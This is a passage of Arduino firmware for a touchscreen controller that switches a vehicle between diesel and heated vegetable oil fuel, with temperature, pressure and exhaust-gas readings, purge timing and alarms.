Serial.begin(9600);\n\n \/\/Tft.fillRectangle(0, 0, 239, 319, WHITE);\n\n Tft.drawRectangle(10, 20, 220, 280, GREEN); \t \/\/ (X-coord start, Y-coord start, X length, y length, color)\n Tft.drawString(\"OIL\", 73, 38, 5, GREEN);\n Tft.drawString(\"OIL\", 75, 40, 5, BLUE);\n delay(500);\n Tft.drawString(\"BURNER\", 23, 78, 5, GREEN);\n Tft.drawString(\"BURNER\", 25, 80, 5, BLUE);\n delay(500);\n Tft.drawString(\"V 0.6.3\", 55, 200, 3, BLUE);\n delay(500);\n Tft.drawString(\"Max Sauer\", 40, 250, 3, WHITE);\n\n pinMode(buzzerPin, OUTPUT);\n \/\/tone(buzzerPin, 500, 250);\n delay(250);\n \/\/tone(buzzerPin, 750, 500);\n delay(200);\n\n autoState = EEPROM.read(autoStateAddress);\n backlightPercent = EEPROM.read(brightnessAddress);\n purgeTime = EEPROM.read(purgeTimeAddress);\n setTemp = EEPROM.read(tempSetPointAddress);\n\n delay(3000);\t\t\t\t\t\t\/\/ display boot screen for set time in millis\n Tft.fillScreen();\t\t\t\t\t\/\/ clear display\n\n homescreen();\t\t\t\t\t\t\/\/ draw homescreen once boot screen is cleared\n\n Point p = ts.getPoint();\t\t\t\t\/\/ setup point to read touch values\n p.x = 0;\n p.y = 0;\n}\n\n\/*\n*************************************************************************************************************************************************************\n\t\t\t\t\t\t\t\tEND OF SETUP\n*************************************************************************************************************************************************************\n*\/\n\nvoid loop()\n{\n\n Point p = ts.getPoint();\n p.x = map(p.x, TS_MINX, TS_MAXX, 0, 240);\n p.y = map(p.y, TS_MINY, TS_MAXY, 0, 320);\n\n Serial.print(\"oil state \");\n Serial.println(oilState);\n \n dayLightVal = analogRead(A10);\n \/\/Serial.println(dayLightVal);\n \/\/backlightPerc = (0.0000003*(dayLightVal*dayLightVal*dayLightVal))-(0.0006*(dayLightVal*dayLightVal))+(0.397*dayLightVal);\n \/\/Serial.println(backlightPerc);\n backlightValue = 0.2138*dayLightVal + 20.5;\n \/\/Serial.println(backlightValue);\n \/\/backlightValue = ((backlightPercent*backlightPercent*backlightPercent)\/3937) + 1.5;\n \/\/backlightValue = (127 * backlightPercent) \/ 50 + 1;\n analogWrite(backlightPin, backlightValue);\n \/\/Serial.println(backlightValue);\n\n int sensorValue = analogRead(A11);\n float voltage = sensorValue * (5.0 \/ 1023.0);\n float v6 = voltage * voltage * voltage * voltage * voltage * voltage;\n float v5 = voltage * voltage * voltage * voltage * voltage;\n float v4 = voltage * voltage * voltage * voltage;\n float v3 = voltage * voltage * voltage;\n float v2 = voltage * voltage;\n\n temp = (-1.4591 * v6 + 21.784 * v5 - 125.74 * v4 + 350.06 * v3 - 473.05 * v2 + 216.06 * voltage + 267.96) * 0.93;\n \/\/ polynomial approximation of signal voltages vs temperature of temp sender with experimentally determined correction factor of 0.93.\n \/\/ see excel sheet for more info. C:\\Users\\Max\\Google Drive\\Sync\\Bub\\WVO Controller\\Oil Temp gage values\n \/\/float voltage, degreesC, degreesF;\t\t\t\/\/ calculate temperature reading based on voltages\n \/\/voltage = getVoltage(temperaturePin);\n \/\/degreesC = (voltage - 0.5) * 100.0;\n \/\/degreesF = degreesC * (9.0\/5.0) + 32.0;\n \/\/ subtract the last reading:\n total = total - readings[index];\n \/\/ read from the sensor:\n readings[index] = temp;\n \/\/ add the reading to the total:\n total = total + readings[index];\n \/\/ advance to the next position in the array:\n index = index + 1;\n \/\/ if we're at the end of the array...\n if (index >= numReadings)\n \/\/ ...wrap around to the beginning:\n index = 0;\n \/\/ calculate the average:\n average = total \/ numReadings;\n\nfuelGage();\nfuelPressure();\n\n\n if (page == 0 && purgeState == 0)\n {\n EGT = thermocouple.readFarenheit();\n if (EGT != oldEGT)\n {\n if (EGT > 999)\t\t\t\/\/ if EGT is 1000 or bigger, display value to left for centering\n {\n Tft.fillRectangle(165, 180, 75, 25, BLACK); \t\t \/\/ clear old exhaust gas temperature\n Tft.drawNumber(EGT, 165, 180, 3, WHITE); \t\t\/\/ write new exhaust gas temperature\n }\n else\t\t\t\t\t \t\/\/ else, temperature is smaller than 1000, display in line with oil and coolant temps\n {\n Tft.fillRectangle(165, 180, 75, 25, BLACK); \t\t\t\/\/ clear old exhaust gas temperature\n Tft.drawNumber(EGT, 180, 180, 3, WHITE); \t\t\/\/ write new exhaust gas temperature\n }\n }\n oldEGT = EGT;\t\t\t\t\t\t\/\/ once new average has been written, store value in old average for next loop iteration \t\t\t\t\t \t\/\/ plot temperature\n\n if (EGT > 1100) \/\/ sound alarm, EGT is too high\n {\n delay(250);\n tone(buzzerPin, 750, 250);\n delay(250);\n tone(buzzerPin, 500, 250);\n delay(250);\n }\n\n if (page == 0)\n {\n \/*\n returnState = digitalRead(returnCheckPin);\n bypassState = digitalRead(bypassCheckPin);\n supplyState = digitalRead(supplyCheckPin);\n\n if (returnState != oldReturnState)\n {\n if (returnState == LOW)\n {\n Tft.fillCircle(200, 200, 14, RED);\n }\n else\n {\n Tft.fillCircle(200, 200, 14, BLACK);\n }\n }\n\n if (bypassState != oldBypassState)\n {\n if (bypassState == LOW)\n {\n Tft.fillCircle(120, 200, 14, RED);\n }\n else\n {\n Tft.fillCircle(120, 200, 14, BLACK);\n }\n }\n\n if (supplyState != oldSupplyState)\n {\n if (supplyState == LOW)\n {\n Tft.fillCircle(40, 200, 14, RED);\n }\n else\n {\n Tft.fillCircle(40, 200, 14, BLACK);\n }\n }\n\n oldReturnState = returnState;\n oldBypassState = bypassState;\n oldSupplyState = supplyState;\n *\/\n }\n\n if (average != oldaverage)\n {\n Tft.drawString(\"FUEL TEMP\", 0, 120, 3, WHITE);\n Tft.drawString(\"FUEL PRES.\", 0, 150,3,WHITE);\n if (pressure > 6)\n {\n Tft.drawNumber(pressure, 200, 150, 3, GREEN);\n }\n if (pressure <= 6 && oilState == 1)\n {\n Tft.drawNumber(pressure, 200, 150, 3, RED);\n delay(250);\n tone(buzzerPin, 750, 250);\n delay(250);\n tone(buzzerPin, 500, 250);\n delay(250);\n }\n if (oilState == 0)\n {\n Tft.drawNumber(pressure, 200, 150, 3, WHITE);\n }\n Tft.drawString(\"EGT\", 0, 180, 3, WHITE);\n Tft.drawNumber(oldaverage, 180, 120, 3, BLACK); \t \/\/ clear old oil temperature\n Tft.drawNumber(average, 180, 120, 3, WHITE); \t\t\/\/ write new average oil temperature\n \/\/Tft.drawNumber(oldaverage,180,150,3,BLACK); \t\t\/\/ clear old average engine temperature\n \/\/Tft.drawNumber(average,180,150,3,YELLOW); \t\t\/\/ write new average oil temperature\n oldaverage = average;\n }\n\n if (pressure != oldpressure)\n {\n Tft.drawString(\"FUEL TEMP\", 0, 120, 3, WHITE);\n Tft.drawString(\"FUEL PRES.\", 0, 150,3,WHITE);\n Tft.drawNumber(oldpressure, 200, 150, 3, BLACK);\n if (pressure > 6)\n {\n Tft.drawNumber(pressure, 200, 150, 3, GREEN);\n }\n if (pressure <= 6 && oilState == 1)\n {\n Tft.drawNumber(pressure, 200, 150, 3, RED);\n delay(250);\n tone(buzzerPin, 750, 250);\n delay(250);\n tone(buzzerPin, 500, 250);\n delay(250);\n }\n if (oilState == 0)\n {\n Tft.drawNumber(pressure, 200, 150, 3, WHITE);\n }\n Tft.drawString(\"EGT\", 0, 180, 3, WHITE);\n Tft.drawNumber(average, 180, 120, 3, WHITE); \/\/ write new average oil temperature\n \/\/Tft.drawNumber(oldaverage,180,150,3,BLACK); \/\/ clear old average engine temperature\n \/\/Tft.drawNumber(average,180,150,3,YELLOW); \/\/ write new average oil temperature\n oldpressure = pressure;\n }\n\n }\n\n if (purgeState == 1)\t\t\t\t\t\t\/\/ display purge timer on screen if controller is in purge mode\n {\n currentMillis = millis();\n \/\/Serial.println(previousMillis);\n \/\/Serial.println(currentMillis);\n countdown = (purgeTime - (currentMillis - previousMillis) \/ 1000); \t\t\/\/ if time since purge started is less than purgeSetTime, keep running purge\n if (countdown != oldCountdown)\t\t\t\t\t\t\/\/ if old and new countdown values are different, write countdown to screen\n {\n if (countdown >= 10)\t\t\t\t\t\t\t\/\/ if countdown is < 10, center countdown value on screen\n {\n Tft.fillRectangle(90, 140, 70, 40, BLACK);\n Tft.drawNumber(countdown, 90, 140, 5, WHITE);\n }\n else\t\t\t\t\t\t\t\t\t\/\/ otherwise, countdown is greater than 9, and countdown is centered\n {\n Tft.fillRectangle(90, 140, 60, 40, BLACK);\n Tft.drawNumber(countdown, 100, 140, 5, WHITE);\n }\n }\n oldCountdown = countdown;\n if ((currentMillis - previousMillis > purgeTime * 1000UL))\t\t\/\/ if the purge time has ran longer than purgeSetTime,\n \/\/ run returnOff which will turn off the Return valve\n {\n p.x = 0;\n p.y = 0;\n returnOff();\n }\n \n if ((p.x > 0 && p.x < 240 && p.y > 250 && p.y < 320)) \/\/ if cancel button is pressed, turn back on supply valve\n {\n tone(buzzerPin, 750, 250);\n p.x = 0;\n p.y = 0;\n digitalWrite(supplyValve, HIGH);\n purgeState = 0;\n oilState = 1;\n homescreen();\n }\n }\n\n if (average > setTemp)\t\t\t\t\t\t \/\/ if actual temperature is above temperature threshold, change tempState to true\n {\n tempState = 1;\n }\n if (average < setTemp - 5)\t\t\t\t\t\t\t\/\/ if actual temp. is below temperature threshold with 5 degree buffer, set tempState to false\n {\n tempState = 0;\n }\n\n if (tempState == 1 && oilState == 0 && oldtempState == 0 && autoState == 0 && page == 0 && purgeState == 0)\n \/\/ display switch button, temp is now high enough for manual switching\n {\n Tft.fillRectangle(0, 250, 240, 70, GREEN);\n Tft.drawString(\"SWITCH\", 44, 270, 4, BLUE);\n oldtempState = tempState;\n }\n\n if (tempState == 0 && oldtempState == 1 && page == 0 )\n \/\/ remove switch button, temp has fallen below set temp for manual switching\n {\n Tft.fillRectangle(0, 250, 240, 70, BLACK);\n oldtempState = tempState;\n }\n\n if (tempState == 1 && autoState == 1 && oilState == 0 && purgeState == 0 && page == 0) \t\t\/\/switch to oil, temp is now high enough. Automatic Mode is On.\n {\n oilSwitch();\n tone(buzzerPin, 750, 250);\n digitalWrite(supplyValve, HIGH);\n digitalWrite(returnValve, HIGH);\n Tft.drawString(\"DIESEL\", 52, 70, 4, BLACK);\n Tft.drawString(\"OIL\", 85, 70, 4, GREEN);\n Tft.fillRectangle(0, 250, 240, 70, RED);\n Tft.drawString(\"PURGE\", 54, 270, 4, WHITE);\n delay(500);\n }\n\n if (oilState == 1 && tempState == 0 && page == 0)\t\t\t\t \t\/\/ if temperature falls below setTemp, run fuelPurge whether mode is Auto or Manual\n {\n tone(buzzerPin, 750, 250); \t\t\t\t\t\t\/\/ Give a Warning beep to notify user that temp is low.\n delay(500);\n tone(buzzerPin, 750, 250);\n currentMillis = millis();\n previousMillis = currentMillis;\n oilSwitch();\n fuelPurge();\n \/\/Tft.drawString(\"OIL\",85,70,4,BLACK);\n \/\/Tft.drawString(\"DIESEL\",52,70,4,BLUE);\n }\n\n\n\n if (p.z > __PRESURE)\t\t\t\t\t\t\t\t\/\/ Purge Time set button\n {\n if ((p.x > 130) && (p.x < 240) && (p.y > 0) && (p.y < 50))\n {\n if (page == 0 && purgeState == 0)\n {\n tone(buzzerPin, 750, 250);\n settings();\n }\n }\n }\n\n if (p.z > __PRESURE)\t\t\t\t\t\t\t\t\/\/ EGT Button\n {\n if ((p.x > 0) && (p.x < 120) && (p.y > 140) && (p.y < 190))\n {\n if (page == 0 && purgeState ==0)\n {\n tone(buzzerPin, 750, 250);\n gage();\n }\n }\n }\n\n if (page == 6)\n {\n EGT = thermocouple.readFarenheit();\n if (EGT != oldEGT)\n {\n if (EGT > 999)\t\t\t\/\/ if EGT is 1000 or bigger, display value to left for centering\n {\n Tft.fillRectangle(100, 140, 75, 30, BLACK); \t\t \/\/ clear old exhaust gas temperature\n Tft.drawNumber(EGT, 100, 140, 3, WHITE); \t\t\/\/ write new exhaust gas temperature\n }\n else\t\t\t\t\t \t\/\/ else, temperature is smaller than 1000, display in line with oil and coolant temps\n {\n Tft.fillRectangle(100, 140, 75, 30, BLACK); \t\t\t\/\/ clear old exhaust gas temperature\n Tft.drawNumber(EGT, 100, 140, 3, WHITE); \t\t\/\/ write new exhaust gas temperature\n }\n }\n oldEGT = EGT;\t\t\t\t\t\t\/\/ once new average has been written, store value in old average for next loop iteration\n theta = 3.14 - 3.14 * ((EGT - gageMin) \/ (gageMax - gageMin));\n \/\/Serial.println(theta);\n \/\/Serial.println(EGT);\n Tft.fillCircle(120, 120, 5, WHITE);\n if (oldTheta != theta)\n {\n Tft.drawLine(120, 120, 120 + 60 * cos(oldTheta), 120 - 60 * sin(oldTheta), BLACK);\n Tft.fillCircle(120, 120, 5, WHITE);\n Tft.drawLine(120, 120, 120 + 60 * cos(theta), 120 - 60 * sin(theta), WHITE);\n }\n oldTheta = theta;\n }\n\n if (p.z > __PRESURE)\t\t\t\t\t\t\t\t\/\/ switch\/purge button\n {\n if (p.x > 0 && p.x < 240 && p.y > 250 && p.y < 320)\n {\n if (page == 0 && autoState == 0 && tempState == 1 && purgeState == 0)\n {\n oilSwitch();\n tone(buzzerPin, 750, 250);\n if (oilState == 0)\n {\n currentMillis = millis();\n previousMillis = currentMillis;\n fuelPurge();\n \/\/Tft.drawString(\"OIL\",85,70,4,BLACK);\n \/\/Tft.drawString(\"DIESEL\",52,70,4,BLUE);\n \/\/Tft.fillRectangle(0,250,240,70,GREEN);\n \/\/Tft.drawString(\"SWITCH\",44,270,4,BLUE);\n }\n if ( oilState == 1)\n {\n digitalWrite(supplyValve, HIGH);\n digitalWrite(returnValve, HIGH);\n Tft.drawString(\"DIESEL\", 52, 70, 4, BLACK);\n Tft.drawString(\"OIL\", 85, 70, 4, GREEN);\n Tft.fillRectangle(0, 250, 240, 70, RED);\n Tft.drawString(\"PURGE\", 54, 270, 4, WHITE);\n }\n }\n if (page == 0 && autoState == 1 && purgeState == 0)\n {\n autoState = 0;\n oilSwitch();\n tone(buzzerPin, 750, 250);\n currentMillis = millis();\n previousMillis = currentMillis;\n fuelPurge();\n\n }\n delay(500);\n }\n }\n\n if (p.z > __PRESURE)\t\t\t\t\t\t\t\t\/\/ home button\n {\n if (p.x > 200 && p.x < 240 && p.y > 280 && p.y < 320)\n {\n if (page == 2 || page == 3 || page == 4 || page == 5 || page == 6)\n {\n EEPROM.update(brightnessAddress, backlightPercent);\n EEPROM.update(purgeTimeAddress, purgeTime);\n EEPROM.update(tempSetPointAddress, setTemp);\n tone(buzzerPin, 500, 250);\n homescreen();\n }\n }\n }\n\n if (p.z > __PRESURE)\t\t\t\t\t\t\t\t\/\/ back button\n {\n if (p.x < 40 && p.y > 280 && p.y < 320)\n {\n if (page == 2)\n {\n tone(buzzerPin, 1000, 250);\n homescreen();\n }\n if (page == 4 || page == 3 || page == 5 )\n {\n p.x = 0;\n p.y = 0;\n EEPROM.update(brightnessAddress, backlightPercent);\n EEPROM.update(purgeTimeAddress, purgeTime);\n EEPROM.update(tempSetPointAddress, setTemp);\n tone(buzzerPin, 1000, 250);\n settings();\n }\n }\n }\n\n if (p.z > __PRESURE)\t\t\t\t\t\t\t\t\/\/ purge plus button\n {\n if (p.x > 50 && p.x < 190 && p.y > 40 && p.y < 110)\n {\n if (page == 3)\n {\n tone(buzzerPin, 1000, 125);\n purgeTime = purgeTime + 5;\n delay(50);\n Tft.fillRectangle(50, 120, 140, 80, BLACK);\n if (purgeTime < 100)\n {\n Tft.drawNumber(purgeTime, 85, 140, 5, WHITE);\n }\n else\n {\n Tft.drawNumber(purgeTime, 70, 140, 5, WHITE);\n }\n }\n if (page == 4)\n {\n tone(buzzerPin, 1000, 125);\n setTemp = setTemp + 5;\n delay(50);\n Tft.fillRectangle(50, 120, 140, 80, BLACK);\n Tft.drawNumber(setTemp, 70, 140, 5, WHITE);\n }\n if (page == 5)\n {\n tone(buzzerPin, 1000, 125);\n if (backlightPercent < 100)\n {\n backlightPercent = backlightPercent + 5;\n delay(50);\n \/\/backlightValue = ((backlightPercent*backlightPercent*backlightPercent)\/3937) + 1;\n \/\/backlightValue = (127 * backlightPercent) \/ 50 + 1;\n analogWrite(backlightPin, backlightValue);\n Tft.fillRectangle(50, 120, 160, 80, BLACK);\n if (backlightPercent < 10)\n {\n Tft.drawNumber(backlightPercent, 85, 140, 5, WHITE);\n Tft.drawString(\"%\", 125, 140, 5, WHITE);\n }\n if (backlightPercent < 100 && backlightPercent >= 10)\n {\n Tft.drawNumber(backlightPercent, 65, 140, 5, WHITE);\n Tft.drawString(\"%\", 145, 140, 5, WHITE);\n }\n if (backlightPercent == 100)\n {\n Tft.drawNumber(backlightPercent, 50, 140, 5, WHITE);\n Tft.drawString(\"%\", 165, 140, 5, WHITE);\n }\n }\n }\n }\n }\n\n\n if (p.z > __PRESURE)\t\t\t\t\t\t\t\t\/\/ purge minus button\n {\n if (p.x > 50 && p.x < 190 && p.y > 210 && p.y < 280)\n {\n if (page == 3)\n {\n tone(buzzerPin, 650, 125);\n if (purgeTime >= 35)\n {\n purgeTime = purgeTime - 5;\n delay(50);\n Tft.fillRectangle(50, 120, 140, 80, BLACK);\n if (purgeTime < 100)\n {\n Tft.drawNumber(purgeTime, 85, 140, 5, WHITE);\n }\n else\n {\n Tft.drawNumber(purgeTime, 70, 140, 5, WHITE);\n }\n }\n }\n if (page == 4)\n {\n tone(buzzerPin, 650, 125);\n if (setTemp >= 105)\n {\n setTemp = setTemp - 5;\n delay(50);\n Tft.fillRectangle(50, 120, 140, 80, BLACK);\n Tft.drawNumber(setTemp, 70, 140, 5, WHITE);\n }\n }\n if (page == 5)\n {\n tone(buzzerPin, 650, 125);\n if (backlightPercent > 0)\n {\n backlightPercent = backlightPercent - 5;\n delay(50);\n \/\/backlightValue = ((backlightPercent*backlightPercent*backlightPercent)\/3937) + 1;\n \/\/backlightValue = (127 * backlightPercent) \/ 50 + 1;\n analogWrite(backlightPin, backlightValue);\n Tft.fillRectangle(50, 120, 160, 80, BLACK);\n if (backlightPercent < 10)\n {\n Tft.drawNumber(backlightPercent, 85, 140, 5, WHITE);\n Tft.drawString(\"%\", 125, 140, 5, WHITE);\n }\n if (backlightPercent < 100 && backlightPercent >= 10)\n {\n Tft.drawNumber(backlightPercent, 65, 140, 5, WHITE);\n Tft.drawString(\"%\", 145, 140, 5, WHITE);\n }\n if (backlightPercent == 100)\n {\n Tft.drawNumber(backlightPercent, 50, 140, 5, WHITE);\n Tft.drawString(\"%\", 165, 140, 5, WHITE);\n }\n }\n }\n }\n }\n\n if (p.z > __PRESURE)\t\t\t\t\t\t\t\t\/\/ Various Buttons\n {\n if (p.y > 50 && p.y < 110 && page == 2) \t\t\t\t\t\/\/ purgeSetTime button\n {\n tone(buzzerPin, 750, 250);\n purgeSetTime();\n }\n\n if (p.y > 125 && p.y < 190 && page == 2) \t\t\t\t \/\/ tempSetTime button\n {\n tone(buzzerPin, 750, 250);\n tempSet();\n }\n\n if (p.y > 210 && p.y < 270 && page == 2) \t\t\t\t \/\/ brightness button\n {\n tone(buzzerPin, 750, 250);\n brightness();\n }\n\n if (p.x > 0 && p.x < 109 && p.y > 0 && p.y < 50) \t\t\t \/\/ auto\/manual button on homescreen\n {\n if (page == 0 && purgeState == 0)\n {\n tone(buzzerPin, 650, 125);\n autoButton();\n EEPROM.update(autoStateAddress, autoState);\n delay(250);\n if (autoState == 1 && oilState == 0)\n {\n Tft.fillRectangle(0, 250, 240, 70, BLACK);\n }\n if (autoState == 0 && average > setTemp && oilState == 0)\n {\n Tft.fillRectangle(0, 250, 240, 70, GREEN);\n Tft.drawString(\"SWITCH\", 44, 270, 4, BLUE);\n }\n }\n }\n }\n\n}\n\n\/*\n***************************************************************************************************************************************************************\n\t\t\t\t\t\t\t\tEND of LOOP\n***************************************************************************************************************************************************************\n*\/\n\nvoid homescreen()\t\t\t\t\t\t\/\/ function that draws homescreen buttons and info\n{\n page = 0;\n circle = 0;\n Tft.fillScreen();\n \/\/Tft.fillRectangle(0, 0, 239, 319, WHITE);\n if (oilState == 0)\n {\n Tft.drawString(\"OIL\", 85, 70, 4, BLACK);\n Tft.drawString(\"DIESEL\", 52, 70, 4, WHITE);\n }\n else\n {\n Tft.drawString(\"DIESEL\", 52, 70, 4, BLACK);\n Tft.drawString(\"OIL\", 85, 70, 4, GREEN);\n }\n \/\/settings button\n Tft.fillRectangle(130, 0, 109, 50, BLUE);\n Tft.drawString(\"SETTINGS\", 137, 18, 2, WHITE);\n\n \/\/auto\/manual button\n Tft.fillRectangle(0, 0, 109, 50, BLUE);\n if (autoState == 1)\n {\n Tft.drawString(\"MANUAL\", 15, 18, 2, BLUE);\n Tft.drawString(\"AUTO\", 15, 15, 3, WHITE);\n }\n else\n {\n Tft.drawString(\"AUTO\", 15, 15, 3, BLUE);\n Tft.drawString(\"MANUAL\", 15, 18, 2, WHITE);\n }\n\n \/\/switch\/purge button\n if (autoState == 0 && average > setTemp && oilState == 0)\n {\n Tft.fillRectangle(0, 250, 240, 70, GREEN);\n Tft.drawString(\"SWITCH\", 44, 270, 4, BLUE);\n }\n\n if (oilState == 1)\n {\n Tft.fillRectangle(0, 250, 240, 70, RED);\n Tft.drawString(\"PURGE\", 54, 270, 4, WHITE);\n }\n if (page == 0) \/\/plot temperature\n {\n Tft.drawString(\"FUEL TEMP\", 0, 120, 3, WHITE);\n Tft.drawString(\"FUEL PRES.\", 0, 150,3,WHITE);\n Tft.drawNumber(oldpressure, 200, 150, 3, BLACK);\n if (pressure > 6)\n {\n Tft.drawNumber(pressure, 200, 150, 3, GREEN);\n }\n if (pressure <= 6 && oilState == 1)\n {\n Tft.drawNumber(pressure, 200, 150, 3, RED);\n delay(250);\n tone(buzzerPin, 750, 250);\n delay(250);\n tone(buzzerPin, 500, 250);\n delay(250);\n }\n if (oilState == 0)\n {\n Tft.drawNumber(pressure, 200, 150, 3, WHITE);\n }\n Tft.drawString(\"EGT\", 0, 180, 3, WHITE);\n Tft.drawNumber(oldaverage, 180, 120, 3, BLACK); \/\/oil temp\n Tft.drawNumber(average, 180, 120, 3, WHITE); \/\/oil temp\n \/\/Tft.drawNumber(oldaverage,180,150,3,BLACK); \/\/engine temp\n \/\/Tft.drawNumber(average,180,150,3,YELLOW); \/\/engine temp\n if (oldEGT > 999 && EGT > 999)\n {\n Tft.fillRectangle(165, 180, 75, 30, BLACK); \/\/exhaust temp\n Tft.drawNumber(EGT, 165, 180, 3, WHITE); \/\/exhaust temp\n }\n else\n {\n Tft.fillRectangle(165, 180, 75, 30, BLACK); \/\/exhaust temp\n Tft.drawNumber(EGT, 180, 180, 3, WHITE); \/\/exhaust temp\n }\n oldaverage = average;\n oldpressure = pressure;\n }\n\/\/\n Tft.drawString(\"TANK\", 0, 210, 3, WHITE);\n Tft.fillRectangle(130,208,106,26,BLUE);\n if (xLength > 100)\n {\n xLength = 100;\n }\n if (xLength < 0)\n {\n xLength = 0;\n }\n Tft.fillRectangle(133, 211, xLength, 20, WHITE);\n for(int xCoord = 133; xCoord <243; xCoord+=10)\n {\n Tft.drawLine(xCoord,211,xCoord,231,BLACK);\n }\n fuelGage();\n}\n\nvoid oilSwitch()\t\t\t\t \t\/\/ changes oilState for comparison when purging\n{\n if (oilState == 0)\n {\n oilState = 1;\n }\n else\n {\n oilState = 0;\n }\n}\n\nvoid homebutton()\t\t\t\t\t\t\/\/ function that draws the home button\n{\n \/\/ home icon (rotated right now)\n \/\/Tft.drawLine(219, 280, 200, 299, WHITE);\n \/\/Tft.drawLine(200, 300, 204, 304, WHITE);\n \/\/Tft.drawLine(203, 304, 200, 304, WHITE);\n \/\/Tft.drawLine(200, 305, 200, 307, WHITE);\n \/\/Tft.drawLine(200, 308, 208, 308, WHITE);\n \/\/Tft.drawLine(209, 309, 219, 319, WHITE);\n \/\/Tft.drawLine(219, 281, 219, 283, WHITE);\n \/\/Tft.drawLine(219, 316, 219, 318, WHITE);\n \/\/Tft.drawRectangle(219, 284, 21, 32, WHITE);\n \/\/Tft.drawRectangle(225, 295, 15, 10, WHITE);\n\n Tft.drawRectangle(203, 300, 32, 19, WHITE);\n Tft.drawRectangle(214, 304, 10, 15, WHITE);\n Tft.drawRectangle(207, 282, 4, 10, WHITE);\n Tft.drawTriangle(201, 300, 219, 282, 237, 300, WHITE);\n}\n\nvoid backArrow()\t\t\t\t\t\t\/\/ function that draws the back arrow button\n{\n Tft.drawTriangle(3, 300, 21, 278, 21, 318, WHITE);\n Tft.drawRectangle(21, 288, 30, 20, WHITE);\n}\n\nvoid tempSet()\t\t\t\t\t\t\t\/\/ function that draws buttons for tempSet Page\n{\n page = 4;\n Tft.fillScreen();\n homebutton();\n backArrow();\n Tft.drawString(\"SWITCH TEMP\", 55, 5, 2, WHITE);\n Tft.fillRectangle(50, 40, 140, 70, GREEN);\n Tft.fillRectangle(50, 210, 140, 70, GREEN);\n Tft.drawNumber(setTemp, 70, 140, 5, WHITE);\n Tft.drawChar('+', 103, 58, 5, WHITE);\n Tft.drawChar('-', 103, 228, 5, WHITE);\n}\n\nvoid purgeSetTime()\t\t\t\t\t\t\/\/ function that draws buttons for purgeSetTime page\n{\n page = 3;\n Tft.fillScreen();\n homebutton();\n backArrow();\n Tft.drawString(\"Purge Time in Sec\", 15, 5, 2, WHITE);\n Tft.fillRectangle(50, 40, 140, 70, GREEN);\n Tft.fillRectangle(50, 210, 140, 70, GREEN);\n if (purgeTime < 100)\n {\n Tft.drawNumber(purgeTime, 85, 140, 5, WHITE);\n }\n else\n {\n Tft.drawNumber(purgeTime, 70, 140, 5, WHITE);\n }\n Tft.drawChar('+', 103, 58, 5, WHITE);\n Tft.drawChar('-', 103, 228, 5, WHITE);\n}\n\nvoid autoButton()\t\t\t\t\t\t\/\/ function that displays autoState in auto\/manual button on homescreen\n{\n if (autoState == 1)\n {\n autoState = 0;\n Tft.drawString(\"AUTO\", 15, 15, 3, BLUE);\n Tft.drawString(\"MANUAL\", 15, 18, 2, WHITE);\n }\n else\n {\n autoState = 1;\n Tft.drawString(\"MANUAL\", 15, 18, 2, BLUE);\n Tft.drawString(\"AUTO\", 15, 15, 3, WHITE);\n }\n}\n\nvoid fuelPurge()\t\t\t\t\t\t\/\/ function that changes purgeState for purging the oil system\n{\n digitalWrite(supplyValve, LOW);\n Tft.fillScreen();\n Tft.drawString(\"PURGING\", 35, 70, 4, WHITE);\n Tft.fillRectangle(0, 250, 240, 70, RED);\n Tft.drawString(\"CANCEL\", 54, 270, 4, WHITE);\n purgeState = 1;\n \/\/timer functions only with delay(), screen is locked up during purge process\n \/\/if(millis() - Timer >= purgeTime*1000UL);\n {\n \/\/digitalWrite(returnValve,LOW);\n \/\/tone(buzzerPin, 500, 250);\n \/\/delay(500);\n \/\/tone(buzzerPin, 750, 250);\n }\n}\n\nvoid returnOff()\t\t\t\t\t\t\/\/ function that turns off returnValve after fuelPurge is complete\n{\n digitalWrite(returnValve, LOW);\n tone(buzzerPin, 500, 250);\n delay(500);\n tone(buzzerPin, 750, 250);\n Tft.fillScreen();\n oilState = 0;\n purgeState = 0;\n homescreen();\n}\n\nvoid settings()\t\t\t\t\t\t\t\/\/ function that draws buttons for settings menu\n{\n page = 2;\n Tft.fillScreen();\n homebutton();\n backArrow();\n Tft.drawString(\"SETTINGS\", 43, 10, 3, WHITE);\n Tft.fillRectangle(20, 50, 200, 60, BLUE);\n Tft.fillRectangle(20, 130, 200, 60, BLUE);\n Tft.fillRectangle(20, 210, 200, 60, BLUE);\n Tft.drawString(\"PURGE TIME\", 55, 75, 2, WHITE);\n Tft.drawString(\"TEMP. SET POINT\", 30, 155, 2, WHITE);\n Tft.drawString(\"BRIGHTNESS\", 60, 235, 2, WHITE);\n}\n\nvoid brightness()\n{\n page = 5;\n Tft.fillScreen();\n homebutton();\n backArrow();\n Tft.drawString(\"SCREEN BRIGHTNESS\", 15, 5, 2, WHITE);\n Tft.fillRectangle(50, 40, 140, 70, GREEN);\n Tft.fillRectangle(50, 210, 140, 70, GREEN);\n if (backlightPercent < 10)\n {\n Tft.drawNumber(backlightPercent, 85, 140, 5, WHITE);\n Tft.drawString(\"%\", 125, 140, 5, WHITE);\n }\n if (backlightPercent < 100 && backlightPercent >= 10)\n {\n Tft.drawNumber(backlightPercent, 65, 140, 5, WHITE);\n Tft.drawString(\"%\", 145, 140, 5, WHITE);\n }\n if (backlightPercent == 100)\n {\n Tft.drawNumber(backlightPercent, 50, 140, 5, WHITE);\n Tft.drawString(\"%\", 165, 140, 5, WHITE);\n }\n Tft.drawChar('+', 103, 58, 5, WHITE);\n Tft.drawChar('-', 103, 228, 5, WHITE);\n}\n\nvoid gage()\n{\n page = 6;\n Tft.fillScreen();\n homebutton();\n if (circle == 0)\n {\n Tft.fillCircle(120, 120, 78, GREEN); \t\t\t\t\t \t\/\/ plot temperature\n Tft.fillCircle(120, 120, 68, BLACK);\n Tft.fillRectangle(0, 120, 240, 115, BLACK);\n circle = 1;\n Tft.drawString(\"50\", 12, 110, 2, WHITE);\n Tft.drawString(\"500\", 103, 23, 2, WHITE);\n Tft.drawString(\"950\", 200, 110, 2, WHITE);\n }\n\n theta = 3.14 - 3.14 * ((EGT - gageMin) \/ (gageMax - gageMin));\n \/\/Serial.println(theta);\n \/\/Serial.println(EGT);\n Tft.fillCircle(120, 120, 5, WHITE);\n if (oldTheta != theta)\n {\n Tft.drawLine(120, 120, 120 + 60 * cos(oldTheta), 120 - 60 * sin(oldTheta), BLACK);\n Tft.fillCircle(120, 120, 5, WHITE);\n Tft.drawLine(120, 120, 120 + 60 * cos(theta), 120 - 60 * sin(theta), WHITE);\n }\n oldTheta = theta;\n}\n\nvoid fuelGage()\n{\n fuelLevelVal = analogRead(fuelLevelPin);\n fuelLevel = -0.0256*fuelLevelVal + 18.926;\n xLength 